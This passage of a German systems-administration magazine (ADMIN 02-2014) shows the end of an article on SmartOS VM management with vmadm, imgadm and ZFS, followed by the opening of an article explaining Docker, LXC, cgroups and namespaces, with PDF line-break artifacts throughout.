die SmartOS im ZFS-Dateisystem 

speichert, sind in »/usbkey/config« zu 

finden. Die sogenannte Global Zone, in 

der man sich nach dem Einloggen wiederfindet, 

ist nicht persistent, sondern 

auf einer RAM-Disk gespeichert. Das bedeutet 

insbesondere, dass man keine 

Benutzer anlegen kann, die nach einem 

Reboot noch da sind, ebenso auch 

keine Dateien in den Verzeichnissen 

»/etc«, »/root« und »/usr«. Allerdings 

befindet sich »/opt« (und auch »/var«) 

im ZFS und kann deshalb zum Speichern 

von Dateien verwendet werden. 

Wer will, kann sogar den Paketmanager 

»pkgin« dort installieren und dann nach 

Herzenslust Software einspielen. Für 

den Paketmanager gibt es ein fertiges 

Tar-Paket, das man nur herunterladen 

und entpacken muss: 

cd / 

curl ‐k http://pkgsrc.joyent.com/U 

packages/SmartOS/bootstrap/bootstrapU 


Admin 

Ausgabe 02-2014

86 


SmartOS 

Abbildung 2: Die verfügbaren Templates für virtuelle Maschinen lassen sich in den lokalen Store 

importieren. 

‐2013Q3‐x86_64.tar.gz | gzcat | tar U 

‐xf ‐ 

Danach gilt es mit »pkg_admin rebuild« 

die Paketdatenbank zu erneuern und 

mit »pkgin ‐y up« zu aktualisieren. Jetzt 

steht das Programm »pkgin« zur Verfügung, 

das nach Paketen suchen, sie 

installieren und wieder deinstallieren 

kann. Alle Pakete landen unterhalb des 

n Listing 1: »vmspec.json« 

01 { 

02 "brand": "kvm", 

03 "alias": "ubuntu1", 

04 "vcpus": 1, 

05 "autoboot": false, 

06 "ram": 2048, 

07 "resolvers": ["192.168.111.254"], 

08 "disks": [ 

09 { 

10 "image_uuid": "1fc068b0‐13b0‐11e2‐9f4e‐2f 

3f6a96d9bc", 

11 "boot": true, 

12 "model": "virtio" 

13 } 

14 ], 

15 "nics": [ 

16 { 

17 "nic_tag": "admin", 

18 "model": "virtio", 

19 "ip": "dhcp", 

20 "primary": 1 

21 } 

22 ] 

23 } 

Verzeichnisses »/opt/local« und sind 

auch nach einem Reboot noch da. 

Auch Services dauerhaft einzurichten, 

ist über das »/opt«-Verzeichnis möglich. 

Die Service Management Facility 

(SMF), die bei Solaris und SmartOS die 

Verwaltung von Diensten übernimmt, 

sieht beim Booten auch im Verzeichnis 

»/opt/custom/smf« nach, wo man also 

die Konfigurationsdateien für eigene 

Services ablegen kann. 

Images besorgen 

Virtuelle Maschinen verwalten zwei 

einfache Befehle. »imgadm« verwaltet 

die Images, auf denen die virtuellen 

Maschinen basieren, die der SmartOS- 

Administrator mit »vmadm« installiert. 

Dazu gibt es ein lokales Verzeichnis von 

VM-Templates, das »imgadm list« anzeigt. 

Anfangs gibt es hier noch nichts 

zu sehen, bevor nicht wenigstens ein 

Template importiert ist. 

Per Default ist »imgadm« so konfiguriert, 

dass es auf den Image-Server 

zurückgreift, der unter »https://images. 

joyent.com« zu finden ist, wie »imgadm 

sources« verrät. Neue Server lassen 

sich ebenfalls mit diesem Kommando 

hinzufügen. Welche Images bei Joyent 

zu finden sind, ist mit »imgadm avail« 

zu erfahren. »imgadm update« bringt 

die Liste auf den laufenden Stand. In 

den lokalen Image Store importiert 

»imgadm import UUID« ein Image. 

Grundsätzlich gibt es zwei Typen von 

Images: »smartos« für Solaris Zones (im 

SmartOS-Jargon „Joyent-Brand“) und 

KVM-Images, von denen das Joyent- 

Repository derzeit »linux« und »bsd« 

anbietet. 

Wie in Abbildung 2 zu sehen ist, verwendet 

SmartOS zur Identifizierung 

von Images – wie auch virtueller 

Maschinen – recht unübersichtliche 

Hashes, die für die manuelle Administration 

oft umständlich erscheinen, 

aber immerhin mit Copy-and-Paste zu 

bewältigen sind. 

Ist ein VM-Template importiert, kann 

man sich an das Erzeugen einer virtuellen 

Maschine machen. Dazu braucht 

man neben dem Template noch eine 

Spezifikation der virtuellen Maschine, 

die im JSON-Format abgefasst ist und 

im Wesentlichen die virtuelle Hardware 

der VM bestimmt, also Disks, Netzwerkkarten 

und so weiter. 

Ein Beispiel einer solchen Spezifikation 

ist in Listing 1 zu sehen. Der Eintrag 

»brand« legt den Virtualisierungstyp 

fest. Im Beispiel ist es »kvm«, für Zones 

lautet der Eintrag »joyent«. Ein »alias« 

ist praktisch, denn sonst findet man die 

Maschine später nur schwer wieder. Bei 

den Modellen der Disk-Hardware gibt 

es alternativ zu Virtio auch die Standards 

IDE und SCSI, aber Virtio gilt für 

Linux als die beste Lösung. Auch für virtuelle 

Windows-Maschinen kann man 

diese Option einsetzen, braucht aber 

dann passende Treiber, insbesondere 

bei der Installation. Das Gleiche gilt für 

die Netzwerkkarte, für die alternativ 

zu Virtio auch Emulationen gängiger 

Ethernet-Hardware existieren. 

Der springende Punkt ist schließlich, 

im Disks-Abschnitt die »image_uuid« 

einzutragen, die derjenigen des importierten 

Templates entsprechen muss. 

Mit dieser Konfiguration erzeugt ein 

Aufruf von »vmadm create ‐f vmspec. 

json« eine neue virtuelle Maschine, 

deren (neue) UUID der Befehl ausgibt – 

wenn alles klappt. Der Befehl »vmadm 

list« zeigt in der Liste die jetzt laufende 

Maschine an (Abbildung 3). Eine Übersicht 

aller in den JSON-Konfigurationsdateien 

verfügbaren Optionen ist unter 

[3] zu finden. 

Einige Konfigurationsvariablen lassen 

sich auch zur Laufzeit mit »vmadm« 



SmartOS 

87 

ändern. Beispielsweise ändert »vmadm 

update alias=Name« den Alias der virtuellen 

Maschine. Alternativ liest der 

Befehl auch JSON-Abschnitte ein und 

aktualisiert damit die Konfiguration. So 

kann man beispielsweise auch eigene 

Metadaten in die Konfiguration integrieren. 

Listing 2 zeigt entsprechende 

JSON-Daten und wie man sie in die 

Konfiguration einliest. 

Sich auf der virtuellen Maschine einzuloggen, 

ist beispielsweise mit einem 

Aufruf von »vmadm console VM‐UUID« 

möglich. Allerdings muss das Gastsystem 

dann so konfiguriert sein, dass auf 

der ersten seriellen Schnittstelle ein 

Getty-Prozess auf ein Login wartet. 

Alternativ bietet SmartOS für jede VM 

einen Remotedesktop-Zugang per VNC, 

dessen Port automatisch vergeben 

wird. Um herauszufinden, welchen 

Port die aktuelle Maschine verwendet, 

kennt »vmadm« den Befehl »info«, in 

dem auch die VNC-Konfiguration verborgen 

ist (Abbildung 4). 

Zugang auch per VNC 

Den Remotedesktop zeigt unter Linux 

beispielsweise der VNC-Viewer mit 

»vnc viewer 192.168.111.20:43948« an. 

So kann man dann per VNC herausfinden, 

welche IP-Adresse per DHCP 

vergeben wurde, wenn man keine statischen 

IP-Adressen verwendet oder sie 

im DHCP-Server für eine MAC-Adresse 

fix zugeordnet hat. Sinnvoll ist es in jedem 

Fall, sich eine strukturierte Lösung 

für das Management von IP-Adressen 

für die VMs auszudenken. 

Per Default ist der VNC-Zugang übrigens 

nicht abgesichert. Man sollte 

einen SmartOS-Host also am besten 

nicht im Internet aufstellen. Für einzelne 

VMs setzt der Aufruf »vmadm update 

VM‐UUID vnc_password=Passwort« 

ein Passwort. 

Im Test gab es übrigens des öfteren 

das Problem, dass bei der VNC-Anzeige 

wichtige Zeichen nicht mit der Tastatur 

zu erzeugen waren, weil die Keymap 

nicht stimmte. Es ließ sich beheben, 

indem Qemu die passende Keymap 

als Parameter übergeben bekam. Der 

Befehl dafür, die Keymap bei einer VM 

einzustellen, lautet »vmadm update 

VM‐UUID qemu_extra_opts="‐k de"«. 

Installation von OSs 

Alternativ zu vorgefertigten Image- 

Templates kann man eigene Templates 

verwenden oder Betriebssysteme 

komplett neu installieren, etwa für 

Windows-VMs, für die es keine Templates 

gibt. Der dafür vorgesehene Weg besteht 

darin, zuerst eine neue VM ohne 

ein Template anzulegen und dann von 

einem Installationsmedium zu booten. 

Die dafür nötige JSON-Datei sieht fast 

genauso aus wie Listing 1, aber statt 

des Disk-Abschnitts trägt man die 

Größe der virtuellen Festplatte ein: 

"disks": [ 

{ 

"boot": true, 

"model": "virtio", 

"size": 15000 

} 

], 

Damit die VM das Installationsmedium 

findet, kopiert man dessen ISO-Image 

in ihr Root-Verzeichnis, das in »/zones/ 

VM‐UUID/root« zu finden ist. Der 

»vmadm«-Befehl besitzt spezielle Optionen, 

um für die Installation einmalig 

die VM von diesem Image zu booten: 

vmadm start VM‐UUID order=U 

cd,once=d cdrom=/centos.iso,ide 

n Listing 2: »meta.json« 

01 # cat meta.json 

02 { 

03 "set_customer_metadata": 

04 {"opsys": "ubuntu"} 

05 } 

06 # vmadm update ed9879e8‐764a‐4c15‐a298‐6b51e815b 

68e < meta.json 

07 Successfully updated ed9879e8‐764a‐4c15‐a298‐6b 

51e815b68e 

Jetzt kann man, etwa über VNC, das 

Betriebssystem wie bei einer physischen 

Maschine installieren und nach 

einem Reboot des Gasts die VM vom 

neuen System starten. 

Wer eine CD oder DVD in den SmartOS- 

Rechner eingelegt hat, kann auch davon 

ein ISO-Image machen, um die VM 

damit zu booten. Das geht ganz einfach 

mit dem dd-Befehl von Unix: 

dd if=/dev/dsk/c0t4d0s2 of=U 

/zones/VM-UUID/root/centos.iso 

Bleibt nur noch die Schwierigkeit, den 

Device-Namen des Laufwerks herauszufinden. 

Hierbei hilft der Befehl »iostat 

‐En«. 

Damit man nicht jedes Gastsystem 

einzeln installieren muss, kann man 

von einem System eigene Templates 

Abbildung 3: »vmadm list« zeigt die installierten virtuellen Maschinen an. 

Abbildung 4: Mit einem Aufruf von »vmadm info« lässt sich der VNC-Port einer virtuellen Maschine 

herausfinden. 


Admin 

Ausgabe 02-2014

88 


SmartOS 

es mit dem SHA1-Hash. Ihn erzeugt das 

Digest-Kommando: 

/usr/bin/digest ‐a sha1 U 

centos6.5.zvol.gz 

Bei den Timestamps geht es nicht so 

genau, man kann sich auf die Anpassung 

des Datums beschränken. Ist die 

Manifest-Datei vollständig, importiert 

der folgende Aufruf das Template in 

den eigenen Store: 

imgadm install ‐m centos6.5.U 

dsmanifest ‐f centos6.5.zvol.gz 

Abbildung 5: Jede Menge ZFS-Volumes: SmartOS macht von den Snapshot-Fähigkeiten des 

Solaris-Dateisystems Gebrauch. 

anlegen und sie für neue Instanzen verwenden. 

Dazu ist es nötig, die UUID der 

entsprechenden Maschine mit »vmadm 

list« in Erfahrung zu bringen. Ein Aufruf 

von »zfs list« zeigt die ZFS-Volumes, 

unter denen sich auch diejenigen der 

VM befinden (Abbildung 5). Ist die VM 

heruntergefahren, erstellt man mit »zfs 

snapshot« einen Snapshot des Gast- 

Volumes. Ein zweiter Schritt macht per 

»zfs send« aus dem Snapshot eine Datei 

und komprimiert sie. 

zfs snapshot zones/5562fffe‐96b1‐U 

454e‐aff0‐6d8782875f2e‐disk0@image 

zfs send zones/5562fffe‐96b1‐454e‐U 

aff0‐6d8782875f2e‐disk0@image | gzip U 

> centos6.5.zvol.gz 

Ein komplettes VM-Template ist letztlich 

nichts anderes als eben ein solches 

komprimiertes Image zusammen mit 

einer Datei, die die Metadaten enthält – 

natürlich wieder im JSON-Format. Ein 

Beispiel dafür ist in Listing 3 zu sehen. 

Die meisten Einträge darin dürften 

selbsterklärend sein. Die UUIDs, die 

man zum Beispiel für »uuid«, »creator_uuid« 

und »vendor_uuid« eintragen 

muss, lassen sich mit dem Befehl 

»uuid« erzeugen. Die »size« der Disk 

zeigt »ls ‐l« an. Etwas schwieriger wird 

Anschließend steht das Template für 

die Erzeugung neuer VMs zur Verfügung. 

Migration hausgemacht 

Auf ähnlichem Weg kann man übrigens 

eine Art VM-Migration nach Hausmacherart 

bewerkstelligen. Dazu konvertiert 

man auf dem Ursprungs-Host das 

Image der VM ins RAW-Format, falls es 

nicht ohnehin schon so gespeichert ist. 

Das funktioniert unter Linux beispielsweise 

mit »qemu‐img convert«. Dann 

kopiert man das RAW-Image auf den 

SmartOS-Host, auf dem man wie beschrieben 

eine neue VM mit passender 

Disk-Größe erstellt. Als letzten Schritt 

kopiert man die Daten mit »dd« oder 

»cat« direkt in das ZFS-Raw-Device: 

n Listing 3: »centos6.5.dsmanifest« 

01 { 

02 "name": "centos‐6.5", 

03 "version": "1.0.0", 

04 "type": "zvol", 

05 "cpu_type": "qemu64", 

06 "description": "Centos 6.5 VM 1.0.0", 

07 "created_at": "2013‐12‐04T02:51:46.994Z", 

08 "updated_at": "2013‐12‐04T02:51:46.994Z", 

09 "os": "linux", 

10 "image_size": 10000, 

11 "files": [ 

12 { 

13 "path": "centos6.5.zvol.gz", 

14 "sha1": "92a100d8eb2c2fd436db1d2b539aa26894f919cb", 

15 "size": 285111272 

16 } 

17 ], 

18 "requirements": { 

19 "networks": [ 

20 { 

21 "name": "net0", 

22 "description": "public" 

23 } 

24 ], 

25 "ssh_key": true 

26 }, 

27 "disk_driver": "virtio", 

28 "nic_driver": "virtio", 

29 "uuid": "555793a9‐3c32‐4eb9‐ae81‐f60176d8a8e3", 

30 "creator_uuid": "352971aa‐31ba‐496c‐9ade‐a379feaecd52", 

31 "vendor_uuid": "352971aa‐31ba‐496c‐9ade‐a379feaecd52", 

32 "creator_name": "ADMIN", 

33 "platform_type": "smartos", 

34 "cloud_name": "sdc", 

35 "urn": "sdc:ADMIN:centos‐6.5:1.0.0", 

36 "published_at": "2013‐12‐04T02:51:46.994Z" 

37 } 



SmartOS 

89 

dd if=centos.img of=/dev/zvol/U 

rdsk/zones/UUID 

Diese Methode sei hier ohne Gewähr 

beschrieben und nur experimentierfreudigen 

Naturen empfohlen. 

Professionell 

Wie bisher beschrieben eignet sich 

SmartOS bestens für den Test von Systemen 

in virtuellen Maschinen. Wer damit 

eine Cloud aufbauen oder SmartOS 

anderweitig professionell einsetzen 

möchte, kommt mit der manuellen Administration 

nicht weit. Zur Automatisierung 

empfiehlt sich Software für Provisioning 

und Konfigurationsmanagement. 

Die Methode, SmartOS über PXE 

zu booten, wurde bereits erwähnt. Eine 

ausführliche Anleitung dazu ist unter 

[4] zu finden. Zum Konfigurationsmanagement 

bieten sich Programme wie 

Puppet oder Cfengine an. Am besten 

wird allerdings Chef [5] unterstützt, für 

das Joyent selbst diverse Cookbooks 

anbietet [6]. Eher experimentell, aber 

auch mal einen Blick wert, ist das Projekt 

FIFO, das eine webbasierte GUI für 

das Management virtueller Maschinen 

auf SmartOS implementiert [7]. 

Zur Installation von Chef stehen drei 

Wege offen. Der Omnibus-Installer 

von Chef/Opscode, der aber noch als 

experimentell gilt, der sogenannte Fat 

Client von Joyent oder die manuelle 

Installation mit PKG-SRC. Auch für das 

Monitoring gibt es ein paar Optionen, 

etwa ein Nagios Remote Plugin Executor 

(NRPE) für die Global Zone. Joyent 

selbst verwendet für das Monitoring 

aber Zabbix [9]. 

Obwohl SmartOS prinzipiell auf unterschiedlicher 

Server-Hardware läuft, 

sollte man sich beim produktiven 

Einsatz auch hierbei am besten an 

den Tipps von Joyent orientieren. Sie 

empfehlen zum Beispiel für Storage 

SAS-Anbindung statt SATA. Auch eine 

ausreichende Menge Speicher ist kein 

Fehler. Mehr Details dazu sind in einem 

Post von Joyent-Mitarbeiter Keith Wesolowski 

zu finden [8]. 

Fazit 

SmartOS ist eine interessante Plattform, 

die Solaris-Technologien wie 

ZFS, Zones und DTrace mit dem 

Linux-Hypervisor KVM verbindet. Der 

Einsatz in der Joyent-Cloud zeigt, dass 

Smart OS für den professionellen Einsatz 

geeignet ist. Auch die Bedienung 

ist relativ einfach, da sie sich weitgehend 

auf zwei Befehle beschränkt. Das 

maschinenlesbare JSON-Format zur 

Konfiguration vereinfacht die Integration 

von SmartOS in Umgebungen mit 

Web-Services. Schließlich lässt sich das 

System auch durch Konfigurationsmanagement 

mit Chef und LDAP zentral 

administrieren. n 

n Info 





[1] SmartOS: [http:// smartos. org] 

[2] Linux-to-SmartOS Cheat Sheet: 

[http:// wiki. joyent. com/ wiki/ display/ jpc2/ Th 

e+Joyent+Linux‐to‐SmartOS+Cheat+Sheet] 

[3] vmadm JSON Quick Reference: 

[http:// wiki. smartos. org/ display/ DOC/ 

vmadm+JSON+Quick+Reference] 

[4] PXE Boot: [http:// wiki. smartos. org/ display/ 

DOC/ PXE+Booting+SmartOS] 

[5] Tim Schürmann, Konfigurationsmanagement 

mit Chef, ADMIN 04/2010: 

[http:// www. admin‐magazin. de/ Das‐Heft/ 

2010/ 04/ Konfigurationsmanagement‐mit‐ 

Chef] 

[6] SmartOS Cookbooks: 

[https:// github. com/ joyent/ smartos_cookbooks] 

[7] Project FIFO: [http:// project‐fifo. net] 

[8] Hardware Recommendation – What Do Joyent 

and Others Run In Production? 

[http:// www. listbox. com/ member/ archive/ 

184463/ 2013/ 02/ sort/ time_rev/ page/ 1/ 

entry/ 5:161/ 20130218134633:82C0ABBC‐79F 

B‐11E2‐B214‐A90A0365DAE4/] 

[9] Thomas Drilling, Monitoring mit Zabbix, ADMIN 

01/2012: [http:// www. admin‐magazin. de/ 

Das‐Heft/ 2012/ 01/ Monitoring‐mit‐Zabbix]

ping han, 123RF 

Renaissance der Container-Virtualisierung mit Docker 

Container-Terminal 

Docker verhilft dem Linux-Container zu einem publikumswirksamen Comeback und baut rund um die 

Virtualisierungslösung die Funktionen ein, die beim Original fehlen. Martin Loschwitz 

Wenn im IT-Kontext der Begriff Virtualisierung 

fällt, dann verbinden das die 

meisten Admins fast automatisch mit 

den Standard-Tools wie Qemu, VMware 

oder Xen. All diesen Lösungen ist gemein, 

dass sie umfassende Virtualisierer 

sind, die ganze Systeme emulieren. 

Sämtliche Werkzeuge dieser Kategorie 

verursachen einen großen Overhead, 

auch wenn es nur darum geht, einzelne 

Programme in virtuellen Umgebungen 

zu betreiben. 

Wenig Overhead 

Dass Virtualisierung auch mit deutlich 

weniger Nebengeräuschen möglich ist, 

beweisen Container-basierte Lösungen. 

Diese sperren Prozesse lediglich in ein 

virtuelles Gefängnis ein, benötigen dafür 

aber nicht den Overhead eines eigenen 

Betriebssystems, sondern begnügen 

sich mit den Ressourcen, die ihnen 

das Host-Betriebssystem zur Verfügung 

stellt. Praktisch alle Betriebssysteme 

verfügen über eine eigene Container- 

Implementation: FreeBSD hat seine 

Jails, auf Windows war Virtuozzo eine 

ganze Weile hip und natürlich hat auch 

Linux Container, sogar in mehrfacher 

Ausfertigung: OpenVZ, LXC und Linux- 

VServer buhlen um die Gunst der 

Nutzer. 

Bemerkenswert ist dabei vor allem LXC: 

Einst ein kleiner Hype, ist die Technologie 

zwischenzeitlich weitestgehend aus 

den Nachrichten verschwunden und 

eher zum Randthema geworden. Sehr 

zu unrecht: In LXC-Containern lassen 

sich Aufgaben erledigen, für die das 

Virtualisieren eines ganzen Betriebssystems 

definitiv zu großer Aufwand wäre. 

Den Entwicklern vom Linux-Container 

(dafür steht LXC) dürfte es insofern 

gefallen, dass über Umwege derzeit ihr 

Projekt wieder im Mittelpunkt steht: 

Docker verbreitet sich wie ein Lauffeuer 

in der Community und es basiert auf 

den Funktionen von LXC. 

Container as a Service? 

Die Entwickler hinter Docker haben im 

Grunde die Hausaufgaben gemacht, 

die die LXC-Entwickler hätten machen 

sollen: Sie haben – womöglich gar nicht 

bewusst – die Frage beantwortet, wieso 

LXC sich in der breiten Masse bisher 

nicht durchgesetzt hat. Einerseits fallen 

sicherlich die bereits genannten und 

sehr viel PR-trächtigeren Vollvirtualisierer 

ins Gewicht, andererseits scheint es 

aber auch so, als habe sich vielen Anwendern 

der Sinn hinter Containern im 

Computing-Umfeld nur unzureichend 

erschlossen. 

Docker macht LXC nun attraktiv: Das 

erklärte Ziel des Projektes ist es, jed- 



Docker 

91 

wede Applikation in einen Container zu 

packen, um diesen Container anschließend 

verteilen zu können. Die Idee ist 

brillant: Sie rückt die technischen Details 

in den Hintergrund, damit im Vordergrund 

ein leicht zu nutzender Dienst 

steht. De facto ergänzt Docker LXC um 

die Usability, die LXC selbst zum Erfolg 

stets gefehlt hat. 

Und das Werkzeug kommt an bei den 

Nutzern: Kaum jemand, der in den letzten 

Wochen von der Lösung noch nicht 

gehört hätte. Grund genug, sich einmal 

genauer mit Docker zu beschäftigen: 

Wie funktioniert die Lösung und wie 

lässt Docker sich konkret nutzen, um 

sich selbst Arbeit zu ersparen oder sich 

Arbeit wenigstens leichter zu machen? 

Im Backend verlässt Docker sich ausschließlich 

auf LXC. Die Frage nach den 

Fähigkeiten von Docker ist insofern 

auch die Frage nach den Funktionen, 

die in LXC enthalten sind: Im Grunde ist 

LXC ja zunächst nichts anderes als eine 

Sammlung von Funktionen, die der 

Linux-Kernel zu Sandboxing-Zwecken 

anbietet. 

Cgroups 

Dabei stechen zwei Funktionen hervor: 

Cgroups und Namespacing. Cgroups 

steht für Control Groups und bezeichnet 

eine Kernel-Funktion in Linux, mit 

der sich Prozessgruppen definieren 

lassen, um anschließend die verfügbaren 

Ressourcen für diese Gruppen zu 

beschränken. Vornehmlich geht es um 

Hardware: Für Cgroups lässt sich festlegen, 

wieviel RAM, Platz auf der Platte 

oder Disk-I/O eine Gruppe verwenden 

darf. Die Liste der verfügbaren Kriterien 

ist dabei freilich weit länger als diese 

Beispiele. Seit der Version 2.6.24 sind 

Cgroups fester Bestandteil des Kernels, 

und über die Jahre haben die Kernel- 

Entwickler die Cgroup-Funktionen 

deutlich ausgebaut. Neben der oben 

erwähnten Begrenzung von Ressourcen 

lassen sich Cgroups nämlich mittlerweile 

auch priorisieren sowie von außen 

ordentlich steuern. 

Namespacing 

Namespacing spielt in Linux zusätzlich 

eine zentrale Rolle, wenn es um das 

Thema Sicherheit geht. Cgroups per 

Abbildung 1: Über den Index-Dienst wollen die Docker-Entwickler Container sammeln und sie Nutzern 

zur Verfügung stellen. 

se sind nämlich nicht vorrangig dafür 

da, Prozesse voneinander abzugrenzen 

– sie kümmern sich bevorzugt um 

Ressourcen. Den Sicherheitsaspekt 

werfen Namespaces in die Waagschale: 

Über Namespaces lassen sich nämlich 

einzelne Prozesse oder Cgroups vor 

anderen Prozessen oder Cgroups verstecken. 

Feingranular ist die Technik obendrein: 

Namespaces unterscheiden zwischen 

den Prozess-IDs, dem Netzwerkzugriff, 

dem Zugriff auf den gemeinsamen 

Hostnamen, Mountpoints oder der 

Kommunikation aller Prozesse miteinander 

(IPC). Network-Namespaces sind 

mittlerweile zum Beispiel recht beliebt, 

um auf dem gleichen Host eine Trennung 

zwischen den Paketen von mehreren 

Benutzern herbeizuführen: Ein 

Prozess innerhalb eines Namespaces 

kann dabei weder die Host-Interfaces 

noch die Interfaces in den Namespaces 

anderer Kunden sehen – und schon gar 

nicht anzapfen. 

Während Cgroups und Namespaces für 

sich genommen nette Features sind, 

werden sie im Team zur attraktiven 

Virtualisierungstechnik. Denn durch die 

Option, Prozesse zu kontrollierbaren 

Gruppen zusammenzufassen, um sie 

anschließend in ihren Möglichkeiten 

zu begrenzen, ergibt sich ein simpler, 

aber effektiver Container-Ansatz. Diese 

Funktionen bietet LXC, und Docker baut 

auch auf dieser Grundfunktionalität 

auf. 

Portierbare Container 

Hinzu kommen bei Docker allerdings 

viele praktische Features. Vermutlich 

die wichtigste Funktion sind die portierbaren 

Container: In Docker ist es 

leicht, vorhandene Container zwischen 

zwei Hosts umzuziehen. Purem LXC 

ist dieser Stunt eher zuwider: Letztlich 

läuft es dort auf einen manuellen Umzug 

der Dateien hinaus – insgesamt ein 

wenig komfortabler Vorgang. Obendrein 

hat ein Benutzer keine Garantie, 

dass er am Ende tatsächlich Erfolg hat: 

Container in „purem“ LXC sind hochgradig 

abhängig von der Umgebung, 

in der sie etwa auf System A laufen. Ist 

das Ziel-System B diesem nicht zumindest 

ähnlich, endet die Umzugsfreude, 

noch bevor sie angefangen hat. Problematisch 

sind hier diverse Faktoren 

wie die genutzte Distribution oder die 

verfügbare Hardware für den Container. 

Die Entwickler von Docker haben ein 

eigenes Container-Format konstruiert, 

das die Sache leichter macht: Docker 

abstrahiert die Ressourcen, welche 

eine VM sieht, und kümmert sich um 

die Kommunikation mit dem realen 

System auf der anderen Seite selbst. 

Die Dienste, die innerhalb eines Docker- 


Admin 

Ausgabe 02-2014

92 


Docker 

Abbildung 2: Das DockerUI ist eines von zwei GUIs, die für den Docker-Einsatz zur Verfügung stehen. 

Als Alternative bietet sich … 

Containers laufen, sehen insofern stets 

das gleiche System. Will ein Benutzer 

nun einen Container von einem System 

auf ein anderes umziehen, übernimmt 

Docker den größten Teil der Arbeit: Der 

Benutzer exportiert den Container in 

das dafür erfundene Docker-Format, 

zieht die Datei auf einen anderen Rechner 

um, spielt den Container wieder in 

Docker ein, fertig. 

Die Docker-Philosophie 

Wer sich mit Docker beschäftigt, merkt 

schnell, dass die Docker-Entwickler offensichtlich 

andere Grundauffassungen 

bezüglich der Container vertreten, als 

es zum Beispiel die LXC-Verantwortlichen 

tun. Die Docker-Entwickler selbst 

bezeichnen Docker als Applikationszentrisch. 

Gemeint ist, dass in Docker 

die innerhalb eines Containers laufende 

Applikation der wirklich wichtige 

Aspekt ist, nicht der Container selbst. 

LXC genießt ja gerade in Entwicklerkreisen 

Beliebtheit, weil sich ein LXC-Container 

relativ gut als schnell-bootender 

Ersatz für eine komplette virtuelle 

Maschine nutzen lässt. Bei Docker geht 

es nicht um diesen Faktor, sondern darum, 

dass ein Container die kleine aber 

feine Umwelt für nahezu jede Applikation 

sein kann. Vor diesem Hintergrund 

wird auch deutlich, was es mit dem 

genannten Container-Feature auf sich 

hat: Die Kernmotivation beim Erfinden 

dieses Features war die Tatsache, dass 

man Apps quasi als Appliances schnell 

von einem Host auf einen anderen umziehen 

können sollte. 

Eigenbau-Images 

Docker unterstützt Benutzer übrigens 

auch dabei, vorbereitete Container für 

den Export in Docker herzustellen. Ein 

Container ist ja im Normalfall nichts anderes 

als das komplette Dateisystem einer 

Linux-Installation; Docker bietet die 

Möglichkeit, jedes beliebige Verzeichnis 

problemlos in ein Docker-Image umzuwandeln. 

Wer es gerne spartanisch 

mag, kann sich also beispielsweise auf 

einem Debian- oder Ubuntu-System 

mittels »debootstrap« ein Mini-System 

aus dem Ärmel zaubern, darin die Abhängigkeiten 

für eine beliebige Applikation 

und diese selbst installieren und 

am Ende Docker den Ordner übergeben 

– fertig ist das Image, das sich beliebig 

verteilen lässt. Das Image-Bauen in 

Docker ist übrigens obendrein denkbar 

einfach, denn mittels des »docker«-Programms 

ist ein einzelner Befehl völlig 

ausreichend: 

debootstrap precise ./rootfs; U 

tar ‐C ./rootfs ‐c . | docker import U 

ubuntu/mybase 

Fertig ist das Image. 

Das Ziel: PaaS 

Docker passt mit seinem Funktionsportfolio 

sehr gut in die aktuell durch 

Cloud-Computing und Everythingas-a-Service-geprägte 

IT-Szene. Denn 

letztlich ist das Ziel bei Docker klar: 

Über vorgefertigte Container, die sich 

beliebig im Netz verteilen lassen, kann 

der Admin Platform-as-a-Service- 

Anwendungen leicht und komfortabel 

unters Volk bringen. Das PaaS-Konzept 

passt zu Docker, weil es ebenfalls die 

Applikation in den Vordergrund rückt 

und nicht so sehr das Betriebssystem, 

auf dem eben jene Applikation läuft. 

Docker tut genau das. Mittlerweile 

steht auch ein auf den Namen »Docker 

Index« getaufter Dienst zur Verfügung 

(Abbildung 1), der quasi als Container- 

Marktplatz dient: Benutzer, die sich 

einen Container für bestimmte Zwecke 

gebaut haben, können diesen in den 

Index hochladen, damit er anschließend 

anderen Benutzern zur Verfügung 

steht. Die Teilnahme am Docker Index 

ist kostenlos, lediglich eine Registrierung 

wird vorausgesetzt. Die Zahl 

der verschiedenen Images, die sich 

in Docker finden, ist beeindruckend: 

Neben Basis-Images für praktisch alle 

gängigen Distributionen stehen auch 

spezielle Images parat, so zum Beispiel 

mehrere Tomcat-Images, mit denen 

sich quasi per Mausklick eine komplete 

Java-Tomcat-Instanz starten lässt. 

MySQL, Apache oder Drupal als fertige 

Plattform, sogar einige OpenStack- 

Komponenten: Für all das stehen 

bereits Docker-Images zur Verfügung, 

und täglich kommen neue hinzu. Das 

ist auch deshalb praktisch, weil es die 

Einstiegshürde senkt: Hat man Docker 

erstmal installiert, dauert es bis zum 

ersten selbst deployten Programm 

nicht mehr lange. 

Mitgedacht: Automatischer 

Build 

Für die Docker-Entwickler endet PaaS 

aber offensichtlich nicht dort, wo ein 

Nutzer einen Container startet, um anschließend 

seine Applikation darin zu 

installieren. Denn auch diesen letzten 

Schritt wollen die Docker-Entwickler 

den Benutzern noch erleichtern: Ein 

automatisches Build-System ist direkt 

in Docker integriert und richtet sich 

vorrangig an die Entwickler von Programmen, 

die ihre App gern als Docker- 

Container verteilen möchten. Über 

die sogenannten Dockerfiles lässt sich 

nämlich ebenfalls die Konfiguration eines 

Containers bis ins Detail festlegen. 

Über Dockerfiles steht dem Entwickler 

anschließend die Möglichkeit zur Verfü- 



Docker 

93 

gung, Docker-Container automatisiert 

anzulegen. Das wäre beispielsweise 

dann von Vorteil, wenn man von der eigenen 

Applikation neben einer Stable- 

Version auch eine Snapshot-Version 

anbieten wollte, die sich nachts jeweils 

einen aktuellen GitHub-Checkout des 

Programms besorgt und dann daraus 

ein fertiges Docker-Image baut. Wer 

sich diese Funktion genauer ansehen 

mag, findet in der Docker-Dokumentation 

unter [1] entsprechende Details zu 

den Dockerfiles. 

Versionskontrolle 

Ebenfalls ein Schmankerl für alle, die 

Docker-Container produktiv nutzen 

wollen, sind die Versioning-Features 

von Docker. Denn für Docker haben 

dessen Entwickler im Grunde einen 

kleinen Klon von Git implementiert, 

der aber auf den Docker-Betrieb spezialisiert 

ist. Dazu gehören viele Befehle, 

die in der Tat an Git erinnern: »docker 

commit«, »docker diff« und »docker 

history« sind dafür nur einige Beispiele. 

Diese Funktionen sorgen letztlich dafür, 

dass nicht für jede neue Version 

eines Images eine komplette Kopie der 

ursprünglichen Datei notwendig ist. 

In Abhängigkeit von den Containern 

würde das schließlich schnell zu Platznot 

führen. Docker umgeht das Problem 

überaus elegant, indem es quasi 

ein lokales „Container-Repository“ 

führt, in das sich Änderungen jederzeit 

committen lassen. Über die vormals 

beschriebene Funktion des Automated 

